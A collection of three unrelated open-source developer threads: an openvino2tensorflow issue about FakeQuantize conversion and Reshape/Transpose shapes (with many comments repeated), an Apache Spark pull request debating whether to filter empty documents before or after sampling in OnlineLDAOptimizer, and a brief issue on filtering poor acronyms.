FakeQuantize is implemented and committed. The version of the tool has been updated to v1.5.8. The conversion to Float32 appears to be successful, but I have no way to verify the veracity of the result, so I have no way of knowing if the conversion is correct.
Can you guys check the inference results to see if they are correct?

@Gilberto-dev @QasimKhan5x
FakeQuantize is implemented and committed. The version of the tool has been updated to v1.5.8. The conversion to Float32 appears to be successful, but I have no way to verify the veracity of the result, so I have no way of knowing if the conversion is correct.
Can you guys check the inference results to see if they are correct?

thank you @PINTO0309  the conversion has succeeded on my end

thank you @PINTO0309  the conversion has succeeded on my end

@PINTO0309 I am seeing model output channels are changed. from (12513513) to (15132513) and (1513513) to (15132). What can be the possible issue. And when I am running inference it is outputting completely white image.

@PINTO0309 I am seeing model output channels are changed. from (12513513) to (15132513) and (1513513) to (15132). What can be the possible issue. And when I am running inference it is outputting completely white image.

the inference results of the openvino model and the converted pb and tflite are quite different

the inference results of the openvino model and the converted pb and tflite are quite different

@QasimKhan5x
Is it possible to provide models (openvino/tflite) for validation and code (openvino/tflite) for validation?

@QasimKhan5x
Is it possible to provide models (openvino/tflite) for validation and code (openvino/tflite) for validation?

Yes. I am emailing the OpenVino models (.xml and .bin), the .pb and .tflite files, as well as the code for inference to you.

Yes. I am emailing the OpenVino models (.xml and .bin), the .pb and .tflite files, as well as the code for inference to you.

@QasimKhan5x @Gilberto-dev
Some conversion bugs in FakeQuantize have been fixed.The latest version is v1.6.3. I don't think I can disclose the results here, so I will contact you individually.
There is still a problem with accuracy, but it is much better now. Probably the rounding operation in the calculation process of FakeQuantize is not working properly.
If you want to change the behavior of Reshape and Transpose which are not needed, try removing the comments in the range below and run it. This will force the perm to be replaced and transformed correctly.
https://github.com/PINTO0309/openvino2tensorflow/blob/e0d168bfc8ba0343c3a031a7d5ef8f704d8c88ae/openvino2tensorflow/openvino2tensorflow.py#L324-L329

Thanks @PINTO0309 . @QasimKhan5x Please if you can check the inference results now with latest build.

@QasimKhan5x I sent the converted .tflite and .pb by email.

@PINTO0309 Thanks, the results are improved a lot. But one issue is I am seeing white borders around segmentation map, maybe because of issue you told above.
 Probably the rounding operation in the calculation process of FakeQuantize is not working properly..
How can we solve that issue ?

@Gilberto-dev
Since you have not provided me with any logic for inference testing, I have no idea what phenomenon you are talking about.

The version has been upgraded to v1.7.0. Enhancements have been made so that constants and weights such as Reshape and Transpose can be replaced by JSON.
--weight_replacement_config option.
Please read the README for details.

@PINTO0309 The inference with the model I have provided you earlier is working correctly. But when I use openvino2tensorflow.py to convert another OpenVino model, the reshape and transpose layers do not work as expected.
Without editing the XML directly, is it possible to fix openvino2tensorflow.py so that conversion works properly?

@QasimKhan5x

Without editing the XML directly, is it possible to fix openvino2tensorflow.py so that conversion works properly?

Yes.

I see that the openvino2tensorflow.py file you provided me earlier contains hardcoded logic to correct the functionality of reshape and transpose.

The program has been modified so that it can compensate for Reshape and Transpose behavior without using hard-coded logic. Clone the latest program or use the pip command to update it. Currently, the latest version is v1.8.2. All hard-coded parts have been removed.

clone

$ git clone https://github.com/PINTO0309/openvino2tensorflow.git

pip

$ sudo pip3 install openvino2tensorflow --upgrade

Or is it necessary to provide a JSON config file at this time?

In order to optimize the model to the limit, all logic is designed to assume NCHW outputs. On the other hand, operations that change the input geometry to NHWC format or inputs other than 4D tensors will not allow Reshape and Transpose to predict the correct converted geometry. Since it is difficult to automatically determine the output shape programmatically, I had no choice but to add a function to force the output shape to be changed in JSON.
Although it is tedious, please refer to the following procedure to adjust the output shape in JSON. 😢
https://github.com/PINTO0309/openvino2tensorflow#6-7-replace-weights-or-constant-values-in-const-op

@PINTO0309 do I have to specify the layer of the Reshape/Tranpose or the layer of the Const that comes after a Reshape/Tranpose layer?

In my current model,
layer 1076 is a Reshape and layer 1077 is a Const. Both are sending output to layer 1078 which is a transpose. I have made a config file like this but layer 1078 is still getting wrong shape.

@QasimKhan5x
Look at the  listed at the end of the xml. Below is an image of the editor looking at the xml of a model that has a different structure than yours. If "1077" in the figure below is the Reshape layer, the input Const "layer_id" should be either "1075" or "1076".

In the example, if you need to replace the value of Const you will probably need to change the value of "1076" using JSON. "1075" is probably input from some other layer other than Const. The important thing to remember is that the "layer_id" of Const should at least be assigned an ID that is smaller and closer than Reshape or Transpose.

@PINTO0309 I am facing some issues even after following your instructions. As the issue is related to this feature and since the FakeQuantize layer issue has been solved, I am making a new issue for this.

@Gilberto-dev
QasimKhan5x says that it is able to convert the data with no problem. Please explain the details of the problem using images and other samples. I will close this issue once, so please post another issue if necessary.
Reference issue: openvino2tensorflow.py does not use provided values in weight configuration JSON #23


[SPARK-22111][MLLIB] OnlineLDAOptimizer should filter out empty documents beforehand

What changes were proposed in this pull request?
The empty documents are filtered out in the initialize method and are never included in mini-batches.  batchSize, and nonEmptyDocsN are now the same thing.
How was this patch tested?
Existing unit-tests.

@WeichenXu123, @hhbyyh, looking forward to your opinion.

Test build #83015 has started for PR 19565 at commit 721f235.

Test build #83015 has finished for PR 19565 at commit 721f235.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83015/
Test PASSed.

Test build #83040 has started for PR 19565 at commit 40685ee.

Test build #83040 has finished for PR 19565 at commit 40685ee.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83040/
Test PASSed.

Now I feel that filtering empty docs out in the initialize is not a good idea, because it will be performed as many times, as the number of times sample in next gets called. Right?
Alternatively we can cache this.docs, but it's a waste of space...

Or (and I think it would be the most efficient approach) we can just stick in the check for emptiness of the document to the seqOp of treeAggregate. However, it doesn't look like "filtering out beforehand". So, would this be OK?

Test build #83045 has started for PR 19565 at commit 1d923f5.

Test build #83045 has finished for PR 19565 at commit 1d923f5.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83045/
Test PASSed.

Test build #83058 has started for PR 19565 at commit 8b7f30b.

Test build #83058 has finished for PR 19565 at commit 8b7f30b.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83058/
Test PASSed.

Merged build finished. Test PASSed.

I wonder if we should add cache() for lda training data, even not for this feature.
@srowen Not sure where we're on caching the training data or not for different algorithms. Appreciate your advice.

@akopich If you want to cache the input dataset, create JIAR to discuss it first. It's another issue I think. This JIAR also related to input caching issues: https://issues.apache.org/jira/browse/SPARK-19422

Regarding caching: I think that can be ignored for purposes of this change. All this does is add a filter, and it doesn't cause an RDD to computed more than it was before.
The only question is whether the filtering is worth it; does it filter out enough that it makes later work faster?

I am sure that caching may by avoided here. Hence, it should not be used.
@srowen, maybe I don't get something, but I'm afraid, that currently lineage for a single mini-batch submission looks like this
docs.filter(nonEmpty).sample(minibatchFraction).treeAggregate(...).
And I'm afraid that for each mini-batch filter will be performed all over again. But if we have smth like
docs.sample(minibatchFraction).filter(nonEmpty).treeAggregate(...),
this will be avoided. And no caching is needed.

@akopich IMO the filter won't cost too much, don't worry about the performance. (Or you can make a test to make sure)

Filtering after sampling makes more sense. Though sampling isn't deterministic, it doesn't change the probability that any particular sample is produced.

@WeichenXu123, yes there indeed is a difference in logic. Eventually it boils down to semantics of miniBatchFraction. If it is a fraction of non-empty documents being sampled, the version with filter going first is correct. If it's a fraction of documents (empty and non-empty) being sampled, then the version with sample going first is correct. To me the first version seems more reasonable (who cares about empty docs anyway). @srowen, if I get it right, you would prefer the second option. Why?
@WeichenXu123, I agree with you: filtering introduces a minimal overhead.
@srowen, regarding performance... I don't actually think it makes any difference unless complexity of sample depends on the length of the parent RDD. In all the subsequent computations empty documents can be handled effectively.

I assume not-selecting a record in a sample is cheaper than just about any other operation, including filtering on a predicate. All else equal, I'd rather sample, then evaluate a predicate on only the sample.
The two versions produce the same result though. Either way, every x% sample of non-empty docs appears with equal probability.
Yes, I doubt one is meaningfully faster than the other overall though. If that's not the motive though, and there's not a functional change, what's the purpose here?

Consider the following scenario. Let docs be an RDD containing 1000 empty documents and 1000 non-empty documents and let miniBatchFraction = 0.05.
Assume, we use filter(...).sample(...). Then the resulted RDD will have around 50 elements.
If we use sample(...).filter(...) instead, the sample returns around 100 elements. Now the number of elements in the RDD returned by filter is normally distributed. The expectation is 50 again though.
Do I miss smth?
However, for larger samples this shouldn't make any difference.
On the purpose of the issue: there were two different variables batchSize, and nonEmptyDocsN which could not be used interchangeably. The purpose is to submit a batch containing no empty docs which makes the two  variables refer the same value.

I agree, they're the same. You said at https://github.com/apache/spark/pull/19565#issuecomment-339638791 that they weren't.
But if you're saying the code already filters out empty docs further upstream anyway, then there is no change in logic, just where the filtering happens. Or did I misunderstand that part?

I'm saying they are not the same, but for larger datasets this should not matter.
There is a change in logic. The hack with
val batchSize = (miniBatchFraction * corpusSize).ceil.toInt
is not used anymore. The function updateLambda uses the real number of non-empty docs.

And the empty docs were not explicitly filtered out. They've just been ignored in submitMiniBatch.

Yes, it changed the probability of samples indeed compared with current code.
But according to the comments coming from @jkbradley in #18924 , "in order to make corpusSize, batchSize, and nonEmptyDocsN all refer to the same filtered corpus", I think @jkbradley 's meaning is to filter out empty docs before sampling, the relationship should be:
batchSize = miniBatchFraction * corpusSize and batchSize == nonEmptyDocsN

I'm curious about the performance comparison, if "filter before sample" triggers a filter over the whole dataset for each submitMiniBatch, then there'll be some performance impact.
And if "filter before sample" is used, IMO miniBatchFraction  should be adjusted proportionally.

Test build #83088 has started for PR 19565 at commit f376a7b.

@hhbyyh, in case of "filter before sample" in a local test the overhead is negligible.
Regarding "sample before filter", you are right. There (strictly speaking) should be adjustment of miniBatchFraction. Which is why I do prefer "filter before sample".
Also note, version "sample before filter" is logically equivalent to the current upstream/master.

Test build #83088 has finished for PR 19565 at commit f376a7b.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83088/
Test PASSed.

Ping @hhbyyh, @WeichenXu123, @srowen.
Seems like the discussion is stuck. Does anybody think that the general approach implemented in this PR should be changed? Currently it is filtering before sampling with no caching.

@akopich I'm actually leaning towards "filter after sample".

so we don't need to change miniBatchFraction in
 docs.sample(withReplacement = sampleWithReplacement, miniBatchFraction,      randomGenerator.nextLong()).

Minor: I'm not sure corpusSize = nonEmptyDoc is always good. I'd prefer to keep docs and corpusSize referring to the entire dataset.

@hhbyyh
Yes, in this way we don't change semantics of miniBatchFraction. But is the way it is defined now actually correct? As I mentioned above, in the upstram/master the number of non-empty documents in the mini-batch is asymptotically normally distributed. Hence, the size of RDD fed to treeAggregate differs from one batch to another. While in this PR (filtering before sampling) all the batches have the same length.
But then again, for large datasets this should make no difference. If nobody thinks this disparity of batch sizes is an issue, I won't object against sampling before filtering.
@WeichenXu123, I believe, you were advocating for filter before sample. Do you still have the preference?

Let me know if I missed anything, but I don't quite catch the part

all the batches have the same length

IMO
docs.sample(withReplacement = sampleWithReplacement, miniBatchFraction, randomGenerator.nextLong()) does not return the same number of documents during multiple function calls.

@hhbyyh OK, but it returns almost the same number of elements. Anyway, the variance is going to be much smaller that in the case with sample before filter.

Yes I think when dataset is large enough, using the same miniBatchFraction, the result RDD size of "filter before sample" and "filter after sample" will be asymptotically equal, no matter how many empty elements in dataset. (correct me if I am wrong, I am a little confused about "miniBatchFraction should be adjusted proportionally", if adjusted, then asymptotically equality is broken?)  If So, does it really effect the algo ?

@WeichenXu123, in a case of large dataset this "adjustment" would have infinitesimal effect. (IMO, no adjustment is needed -- the expected number of non-empty docs in the same and does not depend on the order of filter and sample and equals to docs.size * miniBatchFraction * fractionOfNonEmptyDocs).
So I believe, we all agree that sampling should go before filtering.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83301/
Test FAILed.

Okay... any idea why tests failed? It says
ERROR: Step ?Publish JUnit test result report? failed: No test report files were found. Configuration error?

Test build #83330 has finished for PR 19565 at commit 8bf6f6d.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83330/
Test PASSed.

ping @WeichenXu123 , @srowen , @hhbyyh
Further comments?

ok I agree this change. @jkbradley Can you take a look ?

@WeichenXu123
@jkbradley said, pings on Git don't work for him...

@hhbyyh, is there a cluster I can use for this?

@hhbyyh So, I guess, I should just roll the refactoring back, right?

It's probably better to wait for the opinion from a committer.

@hhbyyh who shall we ping?

Build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/15788/
Test PASSed.


Filter poor acronyms

Filter based on:

Length (must be >2)
Low acronymity
Those with an exact word match in the title
Those with a large proportion of numbers
Those that aren't words (or close to words)

closed with #9